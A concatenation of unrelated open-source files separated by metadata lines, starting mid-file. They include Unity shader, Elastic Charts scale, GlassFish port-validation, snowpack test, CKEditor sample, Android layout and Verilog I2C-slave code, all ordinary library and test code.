doesn't find that property, or it is black, GI is forced off. // ShaderGraph doesn't use this property, so currently it inserts a dummy color (white). This dummy color may be removed entirely once the following PR has been merged in trunk: Pull request #74105 // The user will then need to explicitly disable emissive GI if it is not needed. // To be able to automatically disable emission based on the ShaderGraph config when emission is black, // we will need a more general way to communicate this to the engine (not directly tied to a material property). collector.AddShaderProperty(new ColorShaderProperty() { overrideReferenceName = "_EmissionColor", hidden = true, value = new Color(1.0f, 1.0f, 1.0f, 1.0f) }); // Add all shader properties required by the inspector HDSubShaderUtilities.AddStencilShaderProperties(collector, RequiresSplitLighting(), receiveSSR.isOn); HDSubShaderUtilities.AddBlendingStatesShaderProperties( collector, surfaceType, HDSubShaderUtilities.ConvertAlphaModeToBlendMode(alphaMode), sortPriority, zWrite.isOn, transparentCullMode, zTest, false ); HDSubShaderUtilities.AddAlphaCutoffShaderProperties(collector, alphaTest.isOn, false); HDSubShaderUtilities.AddDoubleSidedProperty(collector, doubleSidedMode); base.CollectShaderProperties(collector, generationMode); } } }
{ "pile_set_name": "Github" }
//----------------------------------------------------------------------- // <copyright file="ExtraAssemblyInfo.cs">(c) http://www.codeplex.com/MSBuildExtensionPack. This source is subject to the Microsoft Permissive License. See http://www.microsoft.com/resources/sharedsource/licensingbasics/sharedsourcelicenses.mspx. All other rights reserved.</copyright> //----------------------------------------------------------------------- using System; using System.Reflection; [assembly: AssemblyTitle("MSBuild.ExtensionPack")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: CLSCompliant(true)]
{ "pile_set_name": "Github" }
/* // Copyright (c) 2011 Frank Kohlhepp // https://github.com/frankkohlhepp/fancy-settings // License: LGPL v2.1 */ .tab-content h2 { margin: 0; padding-bottom: 5px; font-size: 26px; color: #707070; line-height: 1; } .setting.group { border-top: 1px solid #EEEEEE; margin-top: 10px; padding-top: 5px; padding-left: 2px; } .setting.group-name { width: 140px; padding: 0; font-size: 14px; font-weight: bold; vertical-align: top; } .setting.bundle { max-width: 600px; margin-bottom: 5px; } .setting.bundle.list-box { margin-bottom: 10px; } .setting.label.radio-buttons + .setting.container.radio-buttons { margin-top: 3px; } .setting.label, .setting.element-label { margin-right: 15px; font-size: 13px; font-weight: normal; } .setting.label.checkbox, .setting.element-label { margin-left: 5px; margin-right: 0; } .setting.label.checkbox { position: relative; top: 1px; } .setting.element.slider { position: relative; width: 150px; top: 4px; } .setting.element.list-box { display: block; height: 100px; width: 100%; } .setting.display.slider { margin-left: 5px; color: #666666; } #nothing-found { display: none; margin-top: 10px; font-size: 18px; font-weight: lighter; color: #999999; }
{ "pile_set_name": "Github" }
5xx/5xx
{ "pile_set_name": "Github" }
/* * Licensed to Elasticsearch B.V. under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch B.V. licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ import { bisectLeft } from 'd3-array'; import { scaleLinear, scaleLog, scaleSqrt, scaleUtc, ScaleLinear, ScaleLogarithmic, ScalePower, ScaleTime, } from 'd3-scale'; import { ScaleContinuousType, Scale } from '.'; import { PrimitiveValue } from '../chart_types/partition_chart/layout/utils/group_by_rollup'; import { maxValueWithUpperLimit, mergePartial } from '../utils/commons'; import { getMomentWithTz } from '../utils/data/date_time'; import { ScaleType } from './constants'; /** * d3 scales excluding time scale */ type D3ScaleNonTime<R = PrimitiveValue, O = number> = ScaleLinear<R, O> | ScaleLogarithmic<R, O> | ScalePower<R, O>; /** * All possible d3 scales */ type D3Scale<R = PrimitiveValue, O = number> = D3ScaleNonTime<R, O> | ScaleTime<R, O>; const SCALES = { [ScaleType.Linear]: scaleLinear, [ScaleType.Log]: scaleLog, [ScaleType.Sqrt]: scaleSqrt, [ScaleType.Time]: scaleUtc, }; /** * As log(0) = -Infinite, a log scale domain must be strictly-positive * or strictly-negative; the domain must not include or cross zero value. * We need to limit the domain scale to the right value on all possible cases. * @param domain the domain to limit * @internal */ export function limitLogScaleDomain(domain: any[]) { if (domain[0] === 0) { if (domain[1] > 0) { return [1, domain[1]]; } if (domain[1] < 0) { return [-1, domain[1]]; } return [1, 1]; } if (domain[1] === 0) { if (domain[0] > 0) { return [domain[0], 1]; } if (domain[0] < 0) { return [domain[0], -1]; } return [1, 1]; } if (domain[0] < 0 && domain[1] > 0) { const isD0Min = Math.abs(domain[1]) - Math.abs(domain[0]) >= 0; if (isD0Min) { return [1, domain[1]]; } return [domain[0], -1]; } if (domain[0] > 0 && domain[1] < 0) { const isD0Max = Math.abs(domain[0]) - Math.abs(domain[1]) >= 0; if (isD0Max) { return [domain[0], 1]; } return [-1, domain[1]]; } return domain; } interface ScaleData { /** The Type of continuous scale */ type: ScaleContinuousType; /** The data input domain */ domain: any[]; /** The data output range */ range: [number, number]; } interface ScaleOptions { /** * The desidered bandwidth for a linear band scale. * @defaultValue 0 */ bandwidth: number; /** * The min interval computed on the XDomain. Not available for yDomains. * @defaultValue 0 */ minInterval: number; /** * A time zone identifier. Can be any IANA zone supported by he host environment, * or a fixed-offset name of the form 'utc+3', or the strings 'local' or 'utc'. * @defaultValue `utc` */ timeZone: string; /** * The number of bars in the cluster. Used to correctly compute scales when * using padding between bars. * @defaultValue 1 */ totalBarsInCluster: number; /** * The proportion of the range that is reserved for blank space between bands * A number between 0 and 1. * @defaultValue 0 */ barsPadding: number; /** * The approximated number of ticks. * @defaultValue 10 */ ticks: number; /** true if the scale was adjusted to fit one single value histogram */ isSingleValueHistogram: boolean; /** Show only integer values */ integersOnly?: boolean; } const defaultScaleOptions: ScaleOptions = { bandwidth: 0, minInterval: 0, timeZone: 'utc', totalBarsInCluster: 1, barsPadding: 0, ticks: 10, isSingleValueHistogram: false, integersOnly: false, }; /** * Continuous scale * @internal */ export class ScaleContinuous implements Scale { readonly bandwidth: number; readonly totalBarsInCluster: number; readonly bandwidthPadding: number; readonly minInterval: number; readonly step: number; readonly type: ScaleType; readonly domain: any[]; readonly range: number[]; readonly isInverted: boolean; readonly tickValues: number[]; readonly timeZone: string; readonly barsPadding: number; readonly isSingleValueHistogram: boolean; private readonly d3Scale: D3Scale; constructor(scaleData: ScaleData, options?: Partial<ScaleOptions>) { const { type, domain, range } = scaleData; const { bandwidth, minInterval, timeZone, totalBarsInCluster, barsPadding, ticks, isSingleValueHistogram, integersOnly, } = mergePartial(defaultScaleOptions, options); this.d3Scale = SCALES[type](); const cleanDomain = type === ScaleType.Log ? limitLogScaleDomain(domain) : domain; this.domain = cleanDomain; this.d3Scale.domain(cleanDomain); const safeBarPadding = maxValueWithUpperLimit(barsPadding, 0, 1); this.barsPadding = safeBarPadding; this.bandwidth = bandwidth * (1 - safeBarPadding); this.bandwidthPadding = bandwidth * safeBarPadding; this.d3Scale.range(range); this.step = this.bandwidth + this.barsPadding + this.bandwidthPadding; this.type = type; this.range = range; this.minInterval = minInterval; this.isInverted = this.domain[0] > this.domain[1]; this.timeZone = timeZone; this.totalBarsInCluster = totalBarsInCluster; this.isSingleValueHistogram = isSingleValueHistogram; if (type === ScaleType.Time) { const startDomain = getMomentWithTz(this.domain[0], this.timeZone); const endDomain = getMomentWithTz(this.domain[1], this.timeZone); const offset = startDomain.utcOffset(); const shiftedDomainMin = startDomain.add(offset, 'minutes').valueOf(); const shiftedDomainMax = endDomain.add(offset, 'minutes').valueOf(); const tzShiftedScale = scaleUtc().domain([shiftedDomainMin, shiftedDomainMax]); const rawTicks = tzShiftedScale.ticks(ticks); const timePerTick = (shiftedDomainMax - shiftedDomainMin) / rawTicks.length; const hasHourTicks = timePerTick < 1000 * 60 * 60 * 12; this.tickValues = rawTicks.map((d: Date) => { const currentDateTime = getMomentWithTz(d, this.timeZone); const currentOffset = hasHourTicks ? offset : currentDateTime.utcOffset(); return currentDateTime.subtract(currentOffset, 'minutes').valueOf(); }); } else { // This case is for the xScale (minInterval is > 0) when we want to show bars (bandwidth > 0) // We want to avoid displaying inner ticks between bars in a bar chart when using linear x scale if (minInterval > 0 && bandwidth > 0) { const intervalCount = Math.floor((this.domain[1] - this.domain[0]) / this.minInterval); this.tickValues = new Array(intervalCount + 1).fill(0).map((_, i) => this.domain[0] + i * this.minInterval); } else { this.tickValues = this.getTicks(ticks, integersOnly!); } } } private getScaledValue(value?: PrimitiveValue): number | null { if (typeof value !== 'number' || isNaN(value)) { return null; } const scaledValue = this.d3Scale(value); return isNaN(scaledValue) ? null : scaledValue; } getTicks(ticks: number, integersOnly: boolean) { // TODO: cleanup types for ticks btw time and non-time scales // This is forcing a return type of number[] but is really (number|Date)[] return integersOnly ? (this.d3Scale as D3ScaleNonTime) .ticks(ticks) .filter((item: number) => typeof item === 'number' && item % 1 === 0) .map((item: number) => parseInt(item.toFixed(0), 10)) : (this.d3Scale as D3ScaleNonTime).ticks(ticks); } scaleOrThrow(value?: PrimitiveValue): number { const scaleValue = this.scale(value); if (scaleValue === null) { throw new Error(`Unable to scale value: ${scaleValue})`); } return scaleValue; } scale(value?: PrimitiveValue) { const scaledValue = this.getScaledValue(value); return scaledValue === null ? null : scaledValue + (this.bandwidthPadding / 2) * this.totalBarsInCluster; } pureScale(value?: PrimitiveValue) { if (this.bandwidth === 0) { return this.getScaledValue(value); } if (typeof value !== 'number' || isNaN(value)) { return null; } return this.getScaledValue(value + this.minInterval / 2); } ticks() { return this.tickValues; } invert(value: number): number { let invertedValue = this.d3Scale.invert(value); if (this.type === ScaleType.Time) { invertedValue = getMomentWithTz(invertedValue, this.timeZone).valueOf(); } return invertedValue as number; } invertWithStep( value: number, data: number[], ): { value: number; withinBandwidth: boolean; } | null { if (data.length === 0) { return null; } const invertedValue = this.invert(value); const bisectValue = this.bandwidth === 0 ? invertedValue + this.minInterval / 2 : invertedValue; const leftIndex = bisectLeft(data, bisectValue); if (leftIndex === 0) { if (invertedValue < data[0]) { return { value: data[0] - this.minInterval * Math.ceil((data[0] - invertedValue) / this.minInterval), withinBandwidth: false, }; } return { value: data[0], withinBandwidth: true, }; } const currentValue = data[leftIndex - 1]; // pure linear scale if (this.minInterval === 0) { const nextValue = data[leftIndex]; const nextDiff = Math.abs(nextValue - invertedValue); const prevDiff = Math.abs(invertedValue - currentValue); return { value: nextDiff <= prevDiff ? nextValue : currentValue, withinBandwidth: true, }; } if (invertedValue - currentValue <= this.minInterval) { return { value: currentValue, withinBandwidth: true, }; } return { value: currentValue + this.minInterval * Math.floor((invertedValue - currentValue) / this.minInterval), withinBandwidth: false, }; } isSingleValue() { if (this.isSingleValueHistogram) { return true; } if (this.domain.length < 2) { return true; } const min = this.domain[0]; const max = this.domain[this.domain.length - 1]; return max === min; } isValueInDomain(value: number) { return value >= this.domain[0] && value <= this.domain[1]; } }
{ "pile_set_name": "Github" }
doNotEvaluateFonts { font: 14px+16px; font-style: 30px; grrr: 30px; font: 14px -16px; font-style: -2px; grrr: -2px; font: 14px*16px; font-style: 224px; grrr: 224px; font: 14px/16px; font-style: 0.875px; grrr: 0.875px; }
{ "pile_set_name": "Github" }
/* * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. * * Copyright (c) 2013-2017 Oracle and/or its affiliates. All rights reserved. * * The contents of this file are subject to the terms of either the GNU * General Public License Version 2 only ("GPL") or the Common Development * and Distribution License("CDDL") (collectively, the "License"). You * may not use this file except in compliance with the License. You can * obtain a copy of the License at * https://oss.oracle.com/licenses/CDDL+GPL-1.1 * or LICENSE.txt. See the License for the specific * language governing permissions and limitations under the License. * * When distributing the software, include this License Header Notice in each * file and include the License file at LICENSE.txt. * * GPL Classpath Exception: * Oracle designates this particular file as subject to the "Classpath" * exception as provided by Oracle in the GPL Version 2 section of the License * file that accompanied this code. * * Modifications: * If applicable, add the following below the License Header, with the fields * enclosed by brackets [] replaced by your own identifying information: * "Portions Copyright [year] [name of copyright owner]" * * Contributor(s): * If you wish your version of this file to be governed by only the CDDL or * only the GPL Version 2, indicate your decision by adding "[Contributor] * elects to include this software in this distribution under the [CDDL or GPL * Version 2] license." If you don't indicate a single choice of license, a * recipient has the option to distribute your version of this file under * either the CDDL, the GPL Version 2 or to extend the choice of license to * its licensees as provided above. However, if you add GPL Version 2 code * and therefore, elected the GPL Version 2 license, then the option applies * only if the new code is made subject to such option by the copyright * holder. */ package com.sun.enterprise.admin.servermgmt.domain; import java.util.Properties; import java.util.logging.Level; import java.util.logging.Logger; import com.sun.enterprise.admin.servermgmt.DomainConfig; import com.sun.enterprise.admin.servermgmt.DomainException; import com.sun.enterprise.admin.servermgmt.SLogger; import com.sun.enterprise.admin.servermgmt.domain.SubstitutableTokens; import com.sun.enterprise.universal.i18n.LocalStringsImpl; import com.sun.enterprise.util.net.NetUtils; public class DomainPortValidator { /* These properties are public interfaces, handle with care */ private static final Logger _logger = SLogger.getLogger(); private static final LocalStringsImpl _strings = new LocalStringsImpl(DomainPortValidator.class); public static final int PORT_MAX_VAL = 65535; private DomainConfig _domainConfig; private Properties _defaultProps; DomainPortValidator(DomainConfig domainConfig, Properties defaultProps) { _domainConfig = domainConfig; _defaultProps = defaultProps; } /** * Validate's the port. If custom port value is not given then it retrieves * its default value. If the port is already been occupied then it picks * randomly available port value. * * @throws DomainException If any exception occurs in validation. */ public void validateAndSetPorts() throws DomainException { Properties domainProperties = _domainConfig.getDomainProperties(); try { // Validate and gets the port values. final Integer adminPortInt = getPort(domainProperties, DomainConfig.K_ADMIN_PORT, (String)_domainConfig.get(DomainConfig.K_ADMIN_PORT), _defaultProps.getProperty(SubstitutableTokens.ADMIN_PORT_TOKEN_NAME), "Admin"); _domainConfig.add(DomainConfig.K_ADMIN_PORT, adminPortInt); final Integer instancePortInt = getPort(domainProperties, DomainConfig.K_INSTANCE_PORT, (String)_domainConfig.get(DomainConfig.K_INSTANCE_PORT), _defaultProps.getProperty(SubstitutableTokens.HTTP_PORT_TOKEN_NAME), "HTTP Instance"); _domainConfig.add(DomainConfig.K_INSTANCE_PORT, instancePortInt); final Integer jmsPort = getPort(domainProperties, DomainConfig.K_JMS_PORT, null, _defaultProps.getProperty(SubstitutableTokens.JMS_PROVIDER_PORT_TOKEN_NAME), "JMS"); _domainConfig.add(DomainConfig.K_JMS_PORT, jmsPort); final Integer orbPort = getPort(domainProperties, DomainConfig.K_ORB_LISTENER_PORT, null, _defaultProps.getProperty(SubstitutableTokens.ORB_LISTENER_PORT_TOKEN_NAME), "IIOP"); _domainConfig.add(DomainConfig.K_ORB_LISTENER_PORT, orbPort); final Integer httpSSLPort = getPort(domainProperties, DomainConfig.K_HTTP_SSL_PORT, null, _defaultProps.getProperty(SubstitutableTokens.HTTP_SSL_PORT_TOKEN_NAME), "HTTP_SSL"); _domainConfig.add(DomainConfig.K_HTTP_SSL_PORT, httpSSLPort); final Integer iiopSSLPort = getPort(domainProperties, DomainConfig.K_IIOP_SSL_PORT, null, _defaultProps.getProperty(SubstitutableTokens.ORB_SSL_PORT_TOKEN_NAME), "IIOP_SSL"); _domainConfig.add(DomainConfig.K_IIOP_SSL_PORT, iiopSSLPort); final Integer iiopMutualAuthPort = getPort(domainProperties, DomainConfig.K_IIOP_MUTUALAUTH_PORT, null, _defaultProps.getProperty(SubstitutableTokens.ORB_MUTUALAUTH_PORT_TOKEN_NAME), "IIOP_MUTUALAUTH"); _domainConfig.add(DomainConfig.K_IIOP_MUTUALAUTH_PORT, iiopMutualAuthPort); final Integer jmxPort = getPort(domainProperties, DomainConfig.K_JMX_PORT, null, _defaultProps.getProperty(SubstitutableTokens.JMX_SYSTEM_CONNECTOR_PORT_TOKEN_NAME), "JMX_ADMIN"); _domainConfig.add(DomainConfig.K_JMX_PORT, jmxPort); final Integer osgiShellTelnetPort = getPort(domainProperties, DomainConfig.K_OSGI_SHELL_TELNET_PORT, null, _defaultProps.getProperty(SubstitutableTokens.OSGI_SHELL_TELNET_PORT_TOKEN_NAME), "OSGI_SHELL"); _domainConfig.add(DomainConfig.K_OSGI_SHELL_TELNET_PORT, osgiShellTelnetPort); final Integer javaDebuggerPort = getPort(domainProperties, DomainConfig.K_JAVA_DEBUGGER_PORT, null, _defaultProps.getProperty(SubstitutableTokens.JAVA_DEBUGGER_PORT_TOKEN_NAME), "JAVA_DEBUGGER"); _domainConfig.add(DomainConfig.K_JAVA_DEBUGGER_PORT, javaDebuggerPort); checkPortPrivilege(new Integer[]{ adminPortInt, instancePortInt, jmsPort, orbPort, httpSSLPort, jmsPort, orbPort, httpSSLPort, iiopSSLPort, iiopMutualAuthPort, jmxPort, osgiShellTelnetPort, javaDebuggerPort }); } catch (Exception ex) { throw new DomainException(ex); } } /** * Get port from the properties option or default or free port. * * @param properties properties from command line * @param key key for the type of port * @param portStr the port as a string, or null to get from properties * @param defaultPort default port to use * @param name name of port * @throws DomainException if error in retrieving port value. */ private Integer getPort(Properties properties, String key, String portStr, String defaultPort, String name) throws DomainException { int port = 0; boolean portNotSpecified = false; boolean invalidPortSpecified = false; boolean defaultPortUsed = false; if ((portStr != null) && !portStr.equals("")) { port = convertPortStr(portStr); if ((port <= 0) || (port > PORT_MAX_VAL)) { invalidPortSpecified = true; } } else if (properties != null) { String property = properties.getProperty(key); if ((property != null) && !property.equals("")) { port = convertPortStr(property); } else { portNotSpecified = true; } } else { portNotSpecified = true; } if (portNotSpecified) { port = convertPortStr(defaultPort); defaultPortUsed = true; } Boolean checkPorts = (Boolean)_domainConfig.get(DomainConfig.K_VALIDATE_PORTS); if (checkPorts && !NetUtils.isPortFree(port)) { int newport = NetUtils.getFreePort(); if (portNotSpecified) { if (defaultPortUsed) { _logger.log(Level.INFO, SLogger.DEFAULT_PORT_IN_USE, new Object[] {name, defaultPort, Integer.toString(newport)}); } else { _logger.log(Level.INFO, SLogger.PORT_NOT_SPECIFIED, new Object[] {name, Integer.toString(newport)}); } } else if (invalidPortSpecified) { _logger.log(Level.INFO, SLogger.INVALID_PORT_RANGE, new Object[] {name, Integer.toString(newport)}); } else { _logger.log(Level.INFO, SLogger.PORT_IN_USE, new Object[] {name, Integer.toString(port), Integer.toString(newport)}); } port = newport; } else if (defaultPortUsed) { _logger.log(Level.INFO, SLogger.USING_DEFAULT_PORT, new Object[] {name, Integer.toString(port)}); } else { _logger.log(Level.INFO, SLogger.USING_PORT, new Object[] {name, Integer.toString(port)}); } if (properties != null) { properties.remove(key); } return Integer.valueOf(port); } /** * Converts the port string to port int * * @param port the port number * @return the port number as an int * @throws DomainException if port string is not numeric */ private int convertPortStr(final String port) throws DomainException { try { return Integer.parseInt(port); } catch (Exception e) { throw new DomainException( _strings.get("InvalidPortNumber", port)); } } /** * Check if any of the port values are below 1024. If below 1024, then * display a warning message. */ private void checkPortPrivilege(final Integer[] ports) { for (Integer port : ports) { final int p = port.intValue(); if (p < 1024) { _logger.warning(_strings.get("PortPrivilege")); // display this message only once. // so break once this message is displayed. break; } } } }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <!-- Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.md or http://ckeditor.com/license --> <html> <head> <meta charset="utf-8"> <title>ENTER Key Configuration &mdash; CKEditor Sample</title> <script src="../../../ckeditor.js"></script> <link href="../../../samples/old/sample.css" rel="stylesheet"> <meta name="ckeditor-sample-name" content="Using the &quot;Enter&quot; key in CKEditor"> <meta name="ckeditor-sample-group" content="Advanced Samples"> <meta name="ckeditor-sample-description" content="Configuring the behavior of &lt;em&gt;Enter&lt;/em&gt; and &lt;em&gt;Shift+Enter&lt;/em&gt; keys."> <script> var editor; function changeEnter() { // If we already have an editor, let's destroy it first. if ( editor ) editor.destroy( true ); // Create the editor again, with the appropriate settings. editor = CKEDITOR.replace( 'editor1', { extraPlugins: 'enterkey', enterMode: Number( document.getElementById( 'xEnter' ).value ), shiftEnterMode: Number( document.getElementById( 'xShiftEnter' ).value ) }); } window.onload = changeEnter; </script> </head> <body> <h1 class="samples"> <a href="../../../samples/old/index.html">CKEditor Samples</a> &raquo; ENTER Key Configuration </h1> <div class="warning deprecated"> This sample is not maintained anymore. Check out its <a href="http://sdk.ckeditor.com/samples/enterkey.html">brand new version in CKEditor SDK</a>. </div> <div class="description"> <p> This sample shows how to configure the <em>Enter</em> and <em>Shift+Enter</em> keys to perform actions specified in the <a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-enterMode"><code>enterMode</code></a> and <a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-shiftEnterMode"><code>shiftEnterMode</code></a> parameters, respectively. You can choose from the following options: </p> <ul class="samples"> <li><strong><code>ENTER_P</code></strong> &ndash; new <code>&lt;p&gt;</code> paragraphs are created;</li> <li><strong><code>ENTER_BR</code></strong> &ndash; lines are broken with <code>&lt;br&gt;</code> elements;</li> <li><strong><code>ENTER_DIV</code></strong> &ndash; new <code>&lt;div&gt;</code> blocks are created.</li> </ul> <p> The sample code below shows how to configure CKEditor to create a <code>&lt;div&gt;</code> block when <em>Enter</em> key is pressed. </p> <pre class="samples"> CKEDITOR.replace( '<em>textarea_id</em>', { <strong>enterMode: CKEDITOR.ENTER_DIV</strong> });</pre> <p> Note that <code><em>textarea_id</em></code> in the code above is the <code>id</code> attribute of the <code>&lt;textarea&gt;</code> element to be replaced. </p> </div> <div style="float: left; margin-right: 20px"> When <em>Enter</em> is pressed:<br> <select id="xEnter" onchange="changeEnter();"> <option selected="selected" value="1">Create a new &lt;P&gt; (recommended)</option> <option value="3">Create a new &lt;DIV&gt;</option> <option value="2">Break the line with a &lt;BR&gt;</option> </select> </div> <div style="float: left"> When <em>Shift+Enter</em> is pressed:<br> <select id="xShiftEnter" onchange="changeEnter();"> <option value="1">Create a new &lt;P&gt;</option> <option value="3">Create a new &lt;DIV&gt;</option> <option selected="selected" value="2">Break the line with a &lt;BR&gt; (recommended)</option> </select> </div> <br style="clear: both"> <form action="../../../samples/sample_posteddata.php" method="post"> <p> <br> <textarea cols="80" id="editor1" name="editor1" rows="10">This is some &lt;strong&gt;sample text&lt;/strong&gt;. You are using &lt;a href="http://ckeditor.com/"&gt;CKEditor&lt;/a&gt;.</textarea> </p> <p> <input type="submit" value="Submit"> </p> </form> <div id="footer"> <hr> <p> CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a> </p> <p id="copy"> Copyright &copy; 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico Knabben. All rights reserved. </p> </div> </body> </html>
{ "pile_set_name": "Github" }
const path = require('path'); const execa = require('execa'); const {readdirSync, readFileSync, statSync, existsSync} = require('fs'); const glob = require('glob'); const os = require('os'); const STRIP_WHITESPACE = /((\s+$)|((\\r\\n)|(\\n)))/gm; const STRIP_REV = /\?rev=\w+/gm; const STRIP_CHUNKHASH = /([\w\-]+\-)[a-z0-9]{8}(\.js)/g; /** format diffs to be meaningful */ function format(stdout) { return stdout .replace(STRIP_REV, '?rev=XXXXXXXXXX') .replace(STRIP_CHUNKHASH, '$1XXXXXXXX$2') .replace(STRIP_WHITESPACE, ''); } describe('snowpack build', () => { for (const testName of readdirSync(__dirname)) { if (testName === 'node_modules' || testName === '__snapshots__' || testName.includes('.')) { continue; } it(testName, () => { const cwd = path.join(__dirname, testName); const relativePath = cwd.replace(process.cwd() + '/', ''); if (!existsSync(path.join(cwd, 'package.json'))) { console.warn( '%s folder has no package.json file, it is likely a leftover folder from a deleted test. You can remove the folder with `git clean -xdf %s`', relativePath, relativePath, ); return; } // build test const capitalize = testName === 'entrypoint-ids' && os.platform() === 'win32'; execa.sync('yarn', ['testbuild'], {cwd: capitalize ? cwd.toUpperCase() : cwd}); const actual = testName === 'config-out' ? path.join(cwd, 'TEST_BUILD_OUT') : path.join(cwd, 'build'); // Test That all files match const allFiles = glob.sync(`**/*`, { ignore: ['**/common/**/*'], cwd: actual, nodir: true, }); if (allFiles.length === 0) { throw new Error('Empty build directory!'); } expect(allFiles.map((f) => f.replace(/\\/g, '/'))).toMatchSnapshot('allFiles'); // If any diffs are detected, we'll assert the difference so that we get nice output. for (const entry of allFiles) { if ( entry.endsWith('.css') || entry.endsWith('.html') || entry.endsWith('.js') || entry.endsWith('.json') ) { const f1 = readFileSync(path.resolve(actual, entry), {encoding: 'utf8'}); expect(format(f1)).toMatchSnapshot(entry.replace(/\\/g, '/')); } } }); } });
{ "pile_set_name": "Github" }
/** Used as references for various `Number` constants. */ var MAX_SAFE_INTEGER = 9007199254740991; /** * Checks if `value` is a valid array-like length. * * **Note:** This method is loosely based on * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a valid length, else `false`. * @example * * _.isLength(3); * // => true * * _.isLength(Number.MIN_VALUE); * // => false * * _.isLength(Infinity); * // => false * * _.isLength('3'); * // => false */ function isLength(value) { return typeof value == 'number' && value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER; } module.exports = isLength;
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:gravity="center_vertical" android:paddingBottom="4.0dip" android:paddingLeft="4.0dip" android:paddingRight="4.0dip" android:paddingTop="4.0dip" > <ImageView android:id="@+id/notification_icon" android:layout_width="50.0dip" android:layout_height="50.0dip" android:src="@drawable/ic_launcher" android:scaleType="centerInside" /> <LinearLayout android:id="@+id/general_notice" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_marginLeft="12.0dip" android:gravity="center_vertical" android:orientation="vertical" > <TextView android:id="@+id/notification_title" android:layout_width="wrap_content" android:layout_height="wrap_content" android:ellipsize="marquee" android:fadingEdge="horizontal" android:gravity="center_vertical" android:paddingLeft="4.0dip" android:text="way" android:textAppearance="@style/TextAppearance.StatusBar.EventContent.Title" /> <TextView android:id="@+id/notification_content" android:layout_width="wrap_content" android:layout_height="wrap_content" android:ellipsize="marquee" android:fadingEdge="horizontal" android:gravity="center_vertical" android:paddingLeft="4.0dip" android:text="new message" android:singleLine="true" android:textAppearance="@style/TextAppearance.StatusBar.EventContent" /> <LinearLayout android:id="@+id/notif_pro_bar_layout" android:layout_width="fill_parent" android:layout_height="fill_parent" android:visibility="gone" > <ProgressBar android:id="@+id/notif_pro_bar" style="?android:attr/progressBarStyleHorizontal" android:layout_width="fill_parent" android:layout_height="5.0dip" android:layout_gravity="center_vertical" /> </LinearLayout> </LinearLayout> </LinearLayout>
{ "pile_set_name": "Github" }
/* Copyright (c) 2017 Alex Forencich Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // Language: Verilog 2001 `timescale 1ns / 1ps /* * I2C slave wishbone master wrapper */ module i2c_slave_wbm # ( parameter FILTER_LEN = 4, parameter WB_DATA_WIDTH = 32, // width of data bus in bits (8, 16, 32, or 64) parameter WB_ADDR_WIDTH = 32, // width of address bus in bits parameter WB_SELECT_WIDTH = (WB_DATA_WIDTH/8) // width of word select bus (1, 2, 4, or 8) ) ( input wire clk, input wire rst, /* * I2C interface */ input wire i2c_scl_i, output wire i2c_scl_o, output wire i2c_scl_t, input wire i2c_sda_i, output wire i2c_sda_o, output wire i2c_sda_t, /* * Wishbone interface */ output wire [WB_ADDR_WIDTH-1:0] wb_adr_o, // ADR_O() address input wire [WB_DATA_WIDTH-1:0] wb_dat_i, // DAT_I() data in output wire [WB_DATA_WIDTH-1:0] wb_dat_o, // DAT_O() data out output wire wb_we_o, // WE_O write enable output output wire [WB_SELECT_WIDTH-1:0] wb_sel_o, // SEL_O() select output output wire wb_stb_o, // STB_O strobe output input wire wb_ack_i, // ACK_I acknowledge input input wire wb_err_i, // ERR_I error input output wire wb_cyc_o, // CYC_O cycle output /* * Status */ output wire busy, output wire bus_addressed, output wire bus_active, /* * Configuration */ input wire enable, input wire [6:0] device_address ); /* I2C Read __ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ __ sda \__/_6_X_5_X_4_X_3_X_2_X_1_X_0_\_R___A_/_7_X_6_X_5_X_4_X_3_X_2_X_1_X_0_\_A_/_7_X_6_X_5_X_4_X_3_X_2_X_1_X_0_\_A____/ ____ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ____ scl ST \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ 